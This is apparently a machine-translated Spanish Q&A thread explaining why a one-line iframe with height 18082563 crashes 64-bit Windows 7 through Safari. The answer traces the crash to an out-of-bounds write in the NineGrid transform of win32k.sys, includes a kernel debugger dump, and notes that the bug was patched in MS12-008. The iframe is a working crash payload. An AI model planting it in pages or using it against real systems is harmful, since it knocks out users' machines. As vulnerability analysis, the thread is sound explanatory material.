2011-12-21 8 views
6

En caso de que no han escuchado esta pieza de código causará un accidente de BSOD en el bit x64 de Windows 7 cuando corrió en Safari¿Por qué esta etiqueta iframe hace que Safari en x64 Windows se cuelgue?

<iframe height='18082563'></iframe> 

Así que, naturalmente, la pregunta es ¿cómo es exactamente lo que sucede y por qué 18082563 y no decir "1808256 "?

+2

Esto es algo que debería preguntarle a Apple. Probablemente ese valor particular active un error de cercado de algún tipo en el código. –

+3

En realidad, debería preguntarle a Microsoft que es un [problema en win32k.sys] (https://secunia.com/advisories/47237/) – Luke

+0

Si bien es un problema de MS, ¿por qué solo se desencadena en Safari? – DaveHogan

Respuesta

8

Esta es la explicación.

http://pastebin.com/XTWnLF3p

El error ocurre debido a una solicitud NineGrid que viene a través GdiDrawStream enviado en nombre de la DLL temático UX que se ocupa de temas de Windows a partir de XP y versiones posteriores.

Los navegadores Webkit (junto con IE8 - pero no IE9, al parecer) intentan renderizar elementos HTML en la página utilizando el aspecto nativo del sistema operativo. En este caso, en la función drawControl (consulte http://www.opensource.apple.com/source/WebCore/WebCore-658.28/rendering/RenderThemeWin.cpp), se llama a DrawThemeBackground, que maneja la creación de aspectos de los controles del sistema operativo.

Se envía un búfer de 96 (0x60) bytes (los parámetros 2 y 3 de GdiDrawStream son el tamaño y la dirección del búfer, el parámetro 1 es el HDC).

Los buffers Draw Steam comienzan con un valor mágico, seguidos por una serie de comandos identificados por un mercado de 32 bytes. Aquí está la corriente enviada con el marco flotante especial cuando se ve en Safari:

44.727.753 = 'Drws' = DrawStream magia

tampones

de comando:

#0: 00000000 <SET TARGET> 
    3b01017a // Destination DC (hdc) *** Must match HDC in GdiDrawStream argument 1 *** 
    // Destination Clip (ERECTL): 
    0000011b // Left 
    00000011 // Top 
    0000012c // Right 
    0089f580 // Bottom    *** Multiply by 2, and you get the "magic" value used in the iframe PoC *** 
#1: 00000001 <SET SOURCE> 
    058506a3 // Source Surface (pso) *** Dumped the surface from kernel mode, got a 13x5 32BPP bitmap which is the Luna/Aero scrollbar slider control *** 
#2: 00000009 <NINEGRID> 
// Destination Clip (ERECTL):   *** Should match the Destination Clip of the Target 
    0000011b // Left 
    00000011 // Top 
    0000012c // Right 
    0089f580 // Bottom 
// Source Clip (ERECTL):     *** Should be within the bounds of the surface (which is 13x5 in this case) 
    00000000 // Left 
    00000000 // Top 
    0000000e // Right 
    00000001 // Bottom 
// NINEGRID_BITMAP_INFO    *** Documented in RDP docs. Should fit within the surface and destination. 
    00000001 // Flags (DSDNG_STRETCH) 
    0000000a // Left Width 
    00000003 // Right Width 
    00000000 // Top Height 
    00000000 // Bottom Height 
    00000000 // Transparent 

aquí es el volcado sin:

0: kd> dds @r8 l18 
00000000`003be664 44727753 
00000000`003be668 00000000 
00000000`003be66c 2b0108d5 // HDC, this will change from dump to dump 
00000000`003be670 0000011b 
00000000`003be674 00000011 
00000000`003be678 0000012c 
00000000`003be67c 0089f580 
00000000`003be680 00000001 
00000000`003be684 018503c2 // Bitmap Surface, this will change from dump to dump 
00000000`003be688 00000009 
00000000`003be68c 0000011b 
00000000`003be690 00000011 
00000000`003be694 0000012c 
00000000`003be698 0089f580 
00000000`003be69c 00000000 
00000000`003be6a0 00000000 
00000000`003be6a4 0000000e 
00000000`003be6a8 00000001 
00000000`003be6ac 00000001 
00000000`003be6b0 0000000a 
00000000`003be6b4 00000003 
00000000`003be6b8 00000000 
00000000`003be6bc 00000000 
00000000`003be6c0 00000000 

Lo que esencialmente ves es un iframe que tiene una altura particularmente interesante, que cuando se dibuja y se tematiza la barra de desplazamiento, un error matemático en el tra NineGrid nsform causa una escritura fuera de límites. Este PoC funcionaría en IE 8, pero IE 8 tiene un error conocido de CSS donde tiene un límite máximo de píxeles (alrededor de 1342177), razón por la cual no se manifiesta inmediatamente.

OTRAS ALTURAS SON EXPLOTABLES, y algunas pueden ser lo suficientemente pequeñas como para que incluso IE 8 llegue a la caja de esquina de altura NineGrid.

IE9 no parece tener controles de tema utilizando UxTheme en absoluto, y su comportamiento de la barra de desplazamiento es diferente de IE 8, por lo que aunque el límite de píxeles ya no esté allí, el PoC no funcionó. Firefox no fue probado.

NO SOLO LOS IFRAMES SON VULNERABLES. La prueba con un HTML de la misma altura resultó en un bloqueo en Safari también.

Lo que esto significa es que cualquier cliente, local o remoto, que hace desollado de los controles (es decir: casi todos ellos - incluso un botón en un flash PDF) podría resultar en una NineGrid transformar esa golpea este error. No es para nada específico de WebKit.

1

Como nota, MS lanzó recientemente MS12-008 que corrige esto.

Cuestiones relacionadas